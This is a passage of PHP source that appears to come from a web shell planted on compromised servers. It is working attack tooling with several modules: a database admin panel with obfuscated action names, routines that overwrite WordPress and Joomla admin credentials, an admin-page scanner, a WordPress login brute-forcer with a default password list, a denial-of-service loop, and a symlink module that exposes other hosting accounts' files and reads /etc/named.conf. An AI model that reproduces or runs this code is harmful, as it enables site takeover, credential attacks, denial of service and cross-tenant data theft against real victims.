		if( $command == "flush_hosts" ) {
			if( mysql_query( "Flush hosts" ) != false )
				echo "- Success";
			else
				echo "- Fail";
		}
		echo "<li><a href=\'$PHP_SELF?action=utils&command=flush_logs\'>Logs</a>
";
		if( $command == "flush_logs" ) {
			if( mysql_query( "Flush logs" ) != false )
				echo "- Success";
			else
				echo "- Fail";
		}
		echo "<li><a href=\'$PHP_SELF?action=utils&command=flush_privileges\'>Privileges</a>
";
		if( $command == "flush_privileges" ) {
			if( mysql_query( "Flush privileges" ) != false )
				echo "- Success";
			else
				echo "- Fail";
		}
		echo "<li><a href=\'$PHP_SELF?action=utils&command=flush_tables\'>Tables</a>
";
		if( $command == "flush_tables" ) {
			if( mysql_query( "Flush tables" ) != false )
				echo "- Success";
			else
				echo "- Fail";
		}
		echo "<li><a href=\'$PHP_SELF?action=utils&command=flush_status\'>Status</a>
";
		if( $command == "flush_status" ) {
			if( mysql_query( "Flush status" ) != false )
				echo "- Success";
			else
				echo "- Fail";
		}
		echo "</ul>
";
	} else {
		$queryStr = ereg_replace( "_", " ", $command );
		$pResult = mysql_query( $queryStr );
		if( $pResult == false ) {
			echo "Fail";
			return;
		}
		$col = mysql_num_fields( $pResult );

		echo "<p class=location>$queryStr</p>
";
		echo "<hr>
";

		echo "<table cellspacing=1 cellpadding=2 border=0>
";
		echo "<tr>
";
		for( $i = 0; $i < $col; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			echo "<th>".$field->name."</th>
";
		}
		echo "</tr>
";

		while( 1 ) {
			$rowArray = mysql_fetch_row( $pResult );
			if( $rowArray == false ) break;
			echo "<tr>
";
			for( $j = 0; $j < $col; $j++ )
				echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>
";
			echo "</tr>
";
		}
		echo "</table>
";
	}
}



function footer_html() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;

	echo "<hr>
";
	echo "[$USERNAME] - 
";

	echo "<a href=\'$PHP_SELF?action=bGlzdERCcw==\'>Database List</a> | 
";
	if( $tablename != "" )
		echo "<a href=\'$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename\'>Table List</a> | ";
	echo "<a href=\'$PHP_SELF?action=utils\'>Utils</a> |
";
	echo "<a href=\'$PHP_SELF?action=logout\'>Logout</a>
";


}




//------------- MAIN ------------- //
error_reporting(0);
ini_set (\'display_errors\', 0);
ini_set (\'log_errors\', 0);

if( $action == "logon" || $action == "" || $action == "logout" )
	logon();
else if( $action == "bG9nb25fc3VibWl0" )
	logon_submit();
else if( $action == "dumpTable" || $action == "dumpDB" ) {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	$mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
	dump();
} else {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	echo "<!--";
	$mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
	echo "-->";

	if( $mysqlHandle == false ) {


		echo "<table width=100% height=100%><tr><td><center>
";
		echo "<h1>Wrong Password!</h1>
";
		echo "<a href=\'$PHP_SELF?action=logon\'>Logon</a>
";
		echo "</center></td></tr></table>
";

	} else {

		if( $action == "bGlzdERCcw==" )
			listDatabases();
		else if( $action == "createDB" )
			createDatabase();
		else if( $action == "dropDB" )
			dropDatabase();
		else if( $action == "listTables" )
			listTables();
		else if( $action == "createTable" )
			createTable();
		else if( $action == "dropTable" )
			dropTable();
		else if( $action == "viewSchema" )
			viewSchema();
		else if( $action == "query" )
			viewData( $queryStr );
		else if( $action == "addField" )
			manageField( "add" );
		else if( $action == "addField_submit" )
			manageField_submit( "add" );
		else if( $action == "editField" )
			manageField( "edit" );
		else if( $action == "editField_submit" )
			manageField_submit( "edit" );
		else if( $action == "dropField" )
			dropField();
		else if( $action == "dmlld0RhdGE=" )
			viewData( "" );
		else if( $action == "addData" )
			manageData( "add" );
		else if( $action == "addData_submit" )
			manageData_submit( "add" );
		else if( $action == "editData" )
			manageData( "edit" );
		else if( $action == "editData_submit" )
			manageData_submit( "edit" );
		else if( $action == "deleteData" )
			deleteData();
		else if( $action == "utils" )
			utils();

		mysql_close( $mysqlHandle);
		footer_html();
	}
}
}

///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wp-reset\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=wp-reset" method="post">

<?php

echo "<center/><br/><b><font color=#00ff00>+--==[  Wordpress Reset Password  ]==--+</font></b><br><br>";
  
  if(empty($_POST[\'pwd\'])){
  
echo "<FORM method=\'POST\'>
<table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Hostname</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'wp-\' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'wp-\' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'password\' value=\'**\' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'admin\' value=\'admin\' /></td></tr>
 <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
<input style=\'width:80px;\' class=\'inputz\' type=\'text\' name=\'pwd\' value=\'123456\' />&nbsp;

<input style=\'width:19%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST[\'localhost\'];
$database  = $_POST[\'database\'];
$username  = $_POST[\'username\'];
$password  = $_POST[\'password\'];
$pwd   = $_POST[\'pwd\'];
$admin = $_POST[\'admin\'];


 @mysql_connect($localhost,$username,$password) or die(mysql_error());
 @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email =\'".$SQL."\' WHERE ID = 1") or die(mysql_error());


if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}

}
  
  
  echo "
   </div>"; }

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jm-reset\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jm-reset" method="post">

<?php

echo "<center/><br/><b><font color=#00ff00>+--==[  Joomla Reset Password ]==--+</font></b><br><br>";
	if(empty($_POST[\'pwd\'])){
echo "<FORM method=\'POST\'><table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'database\' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'db_user\' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'password\' name=\'password\' value=\'**\' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style=\'width:270px;\' class=\'inputz\' name=\'admin\' value=\'admin\' /></td></tr>
 <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 = 
<input style=\'width:130px;\' class=\'inputz\' name=\'pwd\' value=\'e10adc3949ba59abbe56e057f20f883e\' />&nbsp;

<input style=\'width:23%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST[\'localhost\'];
$database  = $_POST[\'database\'];
$username  = $_POST[\'username\'];
$password  = $_POST[\'password\'];
$pwd   = $_POST[\'pwd\'];
$admin = $_POST[\'admin\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
	
  echo "
   </div>"; 
} 
//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'adfin\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=adfin" method="post">

<?php
set_time_limit(0);
error_reporting(0);
$list[\'front\'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo \'

<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
    var $this = $text;
    var logbox = document.getElementById($place);
    if($replace == 0)
        document.getElementById($place).innerHTML = logbox.innerHTML+$this;
    else
        document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
       


</h1>

<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">

<tr>
<tr>
	<b><td>URL</td>
	<td><input class="inputz" type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 350px;" />
	</td>
</tr><tr>
	<td>404 string</td>
	<td><input class="inputz" type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 350px;" />
	</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>\';
}
function show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {
    if($br == 1) $msg .= "<br />";
    echo "<script type=\"text/javascript\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";
    if($stop == 1) exit;
    @flush();@ob_flush();
}
function check($x, $front=0) {
    global $_POST,$site,$false;
    if($front == 0) $t = $site.$x;
    else $t = \'http://\'.$x.\'.\'.$site.\'/\';
    $headers = get_headers($t);
    if (!eregi(\'200\', $headers[0])) return 0;
    $data = @file_get_contents($t);
    if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;
    if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;
    return 1;
}
   
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST[\'xploit_url\'])) die;
if($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach($pathes as $path) {
    show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);
    $verificate++; show($verificate, 0, 0, \'verified\', 1);
    if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
    else{
        show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
        show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);
    }
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
    show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);
    $verificate++; show($verificate, 0, 0, \'verified\', 1);
    if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
    else{
        show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
        show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);
    }
   
}
}
//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wpbrute\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=wpbrute" method="post">
<center>
<br><Br><b><font size=\'2\' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
  <table width=\'624\' border=\'0\' class=\'tabnet\' id=\'Box\'>
  <tr><th colspan="5">Wordpress Brute Force</th></tr>
    

    <tr>
      <td >&nbsp;</td>
      <td ><p>Hosts:</p></td>
      <td ><p> Users:</p></td>
      <td ><p>Passwords:</p></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'hosts\'];} ?></textarea></td>
      <td ><textarea style="background:black;" name="usernames" cols="30" rows="10"  ><?php if($_POST){echo $_POST[\'usernames\'];}else {echo "admin";} ?></textarea></td>
      <td ><textarea style="background:black;" name="passwords" cols="30" rows="10"  ><?php if($_POST){echo $_POST[\'passwords\'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
    </tr>
<tr><td colspan="4"><input class=\'inputzbut\' type="submit" name="submit" value="Brute Now"  />
<?php
if($_POST)
{
	$hosts = trim(filter($_POST[\'hosts\']));
	$passwords = trim(filter($_POST[\'passwords\']));
	$usernames = trim(filter($_POST[\'usernames\']));

	if($passwords && $usernames && $hosts)
	{
		$hosts_explode = explode("
", $hosts);
		$usernames_explode = explode("
", $usernames);
    	$passwords_explode = explode("
", $passwords);

		foreach($hosts_explode as $host)
		{
			$host = RemoveLastSlash($host);
			$hacked = 0;
			$host = str_replace(array("http://","https://","www."),"",trim($host));
			$host = "http://".$host;
			$wpAdmin = $host.\'/wp-admin/\';

			if(!url_exists($host."/wp-login.php"))
			{echo "<p>".$host." => <font color=\'red\'>Error In Login Page !</font></p>";ob_flush();flush();continue;}

			foreach($usernames_explode as $username)
			{
				foreach($passwords_explode as $password)
				{
					$ch   =     curl_init();
					curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
					curl_setopt($ch,CURLOPT_URL,$host.\'/wp-login.php\');
					curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
					curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
					curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
					curl_setopt($ch,CURLOPT_POST,TRUE);
					curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");
					$login    =	   curl_exec($ch);

					if(eregi ("profile.php",$login) )
					{
						$hacked = 1;
						echo "<p>".$host." => UserName : [<font color=\'green\'>".$username."</font>] : Password : [<font color=\'green\'>".$password."</font>]</p>";
						ob_flush();flush();break;
					}
				}
				if($hacked == 1){break;}
			}
			if($hacked == 0)
			{echo "<p>".$host." => <font color=\'red\'>Failed !</font></p>";ob_flush();flush();}
		}
	}
	else {echo "<p><font color=\'red\'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
    $resURL = curl_init();
    curl_setopt($resURL, CURLOPT_URL, $strURL);
    curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
    curl_setopt($resURL, CURLOPT_HEADERFUNCTION, \'curlHeaderCallback\');
    curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
    curl_exec ($resURL);
    $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
    curl_close ($resURL);
    if ($intReturnCode != 200){return false;}
	else{return true ;}
}
function filter($string)
{
	if(get_magic_quotes_gpc() != 0){return stripslashes($string);	}
	else{return $string;	}
}
function RemoveLastSlash($host)
{
	if(strrpos($host, \'/\', -1) == strlen($host)-1)
	{return substr($host,0,strrpos($host, \'/\', -1));}
	else{return $host;}
}
echo "</p>";
}


//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dos\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=dos" method="post">

<?php

echo $head.$formg.$nowaddress.\'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value="  Get Fire!!!  "></form></p></table>\'.$end;exit;


if($_GET[\'urldd0\'] && $_GET[\'timedd0\']){
for ($id=0;$$id<$_GET[\'timedd0\'];$id++){
$fp=null;
$contents=null;
$fp=fopen($_GET[\'urldd0\'],"rb");
while (!feof($fp)) {
  $contents .= fread($fp, 8192);
}
fclose($fp);
}}
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'symlink\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">

<?php   

@set_time_limit(0);

echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";

@mkdir(\'sym\',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen (\'sym/.htaccess\',\'w\');
fwrite($write ,$htaccess);
@symlink(\'/\',\'sym/root\');
$filelocation = basename(__FILE__);
$read_named_conf = @file(\'/etc/named.conf\');
if(!$read_named_conf)
{
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<br><br><div class=\'tmp\'><table border=\'1\' bordercolor=\'#00ff00\' width=\'500\' cellpadding=\'1\' cellspacing=\'0\'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi(\'zone\',$subject)){
preg_match_all(\'#zone "(.*)"#\',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$string[1][0]));
$name = $UID[\'name\'] ;
@symlink(\'/\',\'sym/root\');
$name   = $string[1][0];
$iran   = \'\.ir\';
$israel = \'\.il\';
$indo   = \'\.id\';
$sg12   = \'\.sg\';
$edu    = \'\.edu\';
$gov    = \'\.gov\';
$gose   = \'\.go\';
$gober  = \'\.gob\';
$mil1   = \'\.mil\';
$mil2   = \'\.mi\';
$malay	= \'\.my\';
$china	= \'\.cn\';
$japan	= \'\.jp\';
$austr	= \'\.au\';
$porn	= \'\.xxx\';
$as		= \'\.uk\';
$calfn	= \'\.ca\';

if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$string[1][0].\'</div>\';
}
echo "
<tr>

<td>
<div class=\'dom\'><a target=\'_blank\' href=http://www.".$string[1][0].\'/>\'.$name.\' </a> </div>
</td>

<td>
\'.$UID[\'name\']."
</td>

<td>
<a href=\'sym/root/home/".$UID[\'name\']."/public_html\' target=\'_blank\'>Symlink </a>
</td>

</tr></div> ";
flush();
}
}
}
}

echo "</center></table>";   

}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'domain\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">

<?php

echo \'<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>\';

$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can\'t ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET[\'ShowAll\']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));

		echo "<tr><td>$domain</td><td>".$user[\'name\']."</td></tr>";
		}
	echo "</table>";
	}

echo \'</div>\';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tool\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=tool" method="post">

<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
